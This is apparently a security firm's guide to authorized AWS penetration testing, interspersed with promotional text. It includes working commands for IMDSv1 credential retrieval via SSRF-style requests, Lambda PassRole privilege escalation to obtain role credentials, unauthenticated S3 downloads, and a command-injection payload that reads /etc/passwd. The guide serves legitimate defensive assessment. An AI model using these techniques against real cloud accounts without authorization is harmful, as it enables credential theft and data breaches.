Cloud environments have become a primary target for attackers, and AWS is no exception. Misconfigured S3 buckets, overly permissive IAM roles, exposed metadata services, and insecure Lambda functions are just a few of the attack surfaces that organizations unknowingly leave open. A well-structured AWS penetration test helps identify these weaknesses before threat actors do.
This guide walks through the best practices for planning, scoping, executing, and reporting AWS penetration tests in a responsible, thorough, and legally sound manner.
Before running a single command, you must understand what AWS permits. AWS has a formal penetration testing policy that allows customers to perform security assessments on their own infrastructure without prior approval for a defined set of services. These include EC2, RDS, CloudFront, API Gateway, Lambda, Lightsail, Elastic Beanstalk, and more.
However, certain activities remain prohibited regardless of intent. These include denial-of-service attacks, DNS zone walking, port flooding, and any actions against AWS infrastructure itself. Always review the current AWS Customer Support Policy for Penetration Testing before beginning any engagement.
If you are working with a professional team like Redfox Cybersecurity, this scoping and policy review is handled before any technical work begins, reducing legal exposure and ensuring the engagement stays within acceptable boundaries.
A poorly scoped test wastes time and creates legal risk. When defining scope for an AWS environment, document the following clearly:
Always obtain written authorization from the AWS account owner. This includes a signed Rules of Engagement (ROE) document that defines the scope, timeline, permitted techniques, and escalation procedures. If you are working in a shared environment, additional authorizations from co-tenants may be required.
Reconnaissance in cloud environments differs significantly from traditional network recon. In AWS, much of the attack surface is exposed through APIs, not open ports.
With a set of compromised or low-privileged credentials, an attacker or tester can enumerate the environment extensively using the AWS CLI.
# List all S3 buckets
aws s3 ls
# Enumerate IAM users
aws iam list-users
# List attached policies for a user
aws iam list-attached-user-policies --user-name <username>
# Check current caller identity
aws sts get-caller-identity
# List EC2 instances across all regions
aws ec2 describe-instances --region us-east-1
# List Lambda functions
aws lambda list-functions --region us-east-1
[cta]
ScoutSuite is an open-source multi-cloud security auditing tool that provides a comprehensive view of misconfigurations across AWS services.
# Install ScoutSuite
pip install scoutsuite
# Run against AWS with default profile
scout aws
# Run with a specific profile
scout aws --profile pentest-profile
[cta]
ScoutSuite generates an interactive HTML report highlighting publicly accessible resources, overly permissive security groups, unencrypted storage, missing MFA enforcement, and more. For engagements where comprehensive cloud auditing is needed alongside manual testing, consider reaching out to Redfox Cybersecurity for a full-scope cloud security assessment.
IAM misconfigurations are one of the most impactful vulnerabilities in AWS environments. Attackers with low-privileged access can often escalate to administrator-level access through policy manipulation, role chaining, or abusing PassRole permissions.
Pacu is an open-source AWS exploitation framework designed specifically for offensive cloud security testing.
# Install Pacu
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
pip3 install -r requirements.txt
python3 pacu.py
# Inside Pacu shell - import keys
Pacu> import_keys <profile_name>
# Enumerate IAM permissions
Pacu> run iam__enum_permissions
# Check for privilege escalation paths
Pacu> run iam__privesc_scan
[cta]
If a user has iam:PassRole and lambda:CreateFunction permissions, they can escalate privileges by creating a Lambda function that runs with a higher-privileged role.
# Create a Lambda function that returns the role credentials
aws lambda create-function \
--function-name priv-esc-test \
--runtime python3.9 \
--role arn:aws:iam::<account-id>:role/<high-priv-role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
# Invoke the function to obtain credentials
aws lambda invoke \
--function-name priv-esc-test \
output.txt
cat output.txt
[cta]
This technique demonstrates why iam:PassRole must be tightly scoped. Documenting this in your report with clear remediation steps is critical.
The EC2 Instance Metadata Service (IMDS) is a common attack vector. If an application running on EC2 is vulnerable to SSRF (Server-Side Request Forgery), an attacker can query the metadata service to retrieve IAM credentials.
IMDSv1 does not require session tokens and is accessible via a simple HTTP request:
# Query metadata from within the instance (or via SSRF)
curl http://169.254.169.254/latest/meta-data/
# Retrieve IAM role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Replace <role-name> with the returned role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
[cta]
The returned JSON will include AccessKeyId, SecretAccessKey, and Token, which can then be used to authenticate as that role. IMDSv2, which requires a PUT request to obtain a session token first, mitigates this risk. Testing whether IMDSv2 is enforced across all instances should be a standard step in every AWS penetration test.
# Check if IMDSv2 is required on an instance
aws ec2 describe-instances \
--instance-ids <instance-id> \
--query 'Reservations[].Instances[].MetadataOptions'
[cta]
Misconfigured S3 buckets have been the source of some of the largest data breaches in cloud history. Testing for public access, misconfigured ACLs, and insecure bucket policies should be part of every engagement.
# List objects in a potentially public bucket (unauthenticated)
aws s3 ls s3://<bucket-name> --no-sign-request
# Attempt to download a file
aws s3 cp s3://<bucket-name>/sensitive-file.txt . --no-sign-request
# Check bucket ACL (authenticated)
aws s3api get-bucket-acl --bucket <bucket-name>
# Check bucket policy
aws s3api get-bucket-policy --bucket <bucket-name>
# Check public access block settings
aws s3api get-public-access-block --bucket <bucket-name>
[cta]
# Install S3Scanner
pip install s3scanner
# Scan a list of bucket names
s3scanner scan --buckets-file bucket-names.txt
[cta]
Any bucket returning data without authentication is a critical finding. Beyond read access, also test for write access, which could allow an attacker to upload malicious content or overwrite existing files.
Serverless functions introduce unique attack surfaces including insecure environment variables, overly permissive execution roles, and injection vulnerabilities within function code.
# List all Lambda functions
aws lambda list-functions
# Get function configuration including environment variables
aws lambda get-function-configuration \
--function-name <function-name>
# Get the function policy (resource-based policy)
aws lambda get-policy \
--function-name <function-name>
[cta]
Environment variables in Lambda frequently contain database credentials, API keys, and tokens. These should never be stored in plaintext and should instead use AWS Secrets Manager or Parameter Store with encryption.
Lambda functions often process input from API Gateway, SQS, or S3 events. If the function passes this input into a shell command, SQL query, or deserialization routine without sanitization, injection vulnerabilities may exist.
# Example payload for testing command injection in Lambda input
{
"body": "; cat /etc/passwd"
}
# Example payload for testing SSTI in a Python Lambda
{
"name": "{{7*7}}"
}
[cta]
Overly permissive security groups are a frequent misconfiguration in AWS environments. Rules allowing 0.0.0.0/0 ingress on sensitive ports like SSH (22), RDP (3389), or database ports (3306, 5432) expose critical services to the internet.
# List all security groups with their rules
aws ec2 describe-security-groups \
--query 'SecurityGroups[?length(IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]])>`0`].[GroupId,GroupName,IpPermissions]' \
--output table
[cta]
Prowler is a powerful open-source tool for AWS security auditing, benchmarking against CIS, PCI-DSS, HIPAA, and other frameworks.
# Install Prowler
pip install prowler
# Run full AWS audit
prowler aws
# Run only checks related to IAM
prowler aws --service iam
# Run CIS AWS Foundations Benchmark checks
prowler aws --compliance cis_1.4_aws
[cta]
Prowler produces detailed output that maps findings directly to compliance controls, making it highly useful for both penetration testing reports and compliance audits. If your organization needs help interpreting these results and implementing remediations, Redfox Cybersecurity offers cloud security advisory services tailored to AWS environments.
A responsible penetration test should also assess the effectiveness of detective controls. Testing whether CloudTrail is enabled, whether logs are being monitored, and whether GuardDuty is active helps organizations understand their detection capability.
# List all CloudTrail trails and their status
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail-name>
# Check if GuardDuty is enabled
aws guardduty list-detectors
# Check Config service status
aws configservice describe-configuration-recorders
[cta]
If CloudTrail is disabled or not capturing data events for S3 and Lambda, significant blind spots exist in the environment. These findings should be escalated as high-severity issues in any penetration test report.
A professional AWS penetration test report should include:
Every finding should be mapped to the MITRE ATT&CK for Cloud framework where applicable. This gives defenders a common language to prioritize detection and response efforts. For example, IAM privilege escalation maps to T1078.004 (Valid Accounts: Cloud Accounts), and metadata service abuse maps to T1552.005 (Unsecured Credentials: Cloud Instance Metadata API).
AWS penetration testing requires a fundamentally different approach from traditional network-based assessments. The attack surface is API-driven, identity-centric, and highly dynamic. Successful engagements combine automated tooling like Pacu, ScoutSuite, and Prowler with manual analysis of IAM policies, resource configurations, and application logic.
Following the best practices outlined here, including proper scoping, written authorization, systematic enumeration, privilege escalation testing, and thorough reporting, ensures your AWS environment receives a meaningful security assessment rather than a checkbox exercise.
For organizations that need expert-led cloud penetration testing with real-world adversary simulation, Redfox Cybersecurity delivers comprehensive AWS security assessments that go beyond automated scanning to uncover the vulnerabilities that matter most. Whether you are preparing for a compliance audit, responding to an incident, or proactively hardening your cloud posture, working with specialists ensures your assessment translates into measurable security improvement.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
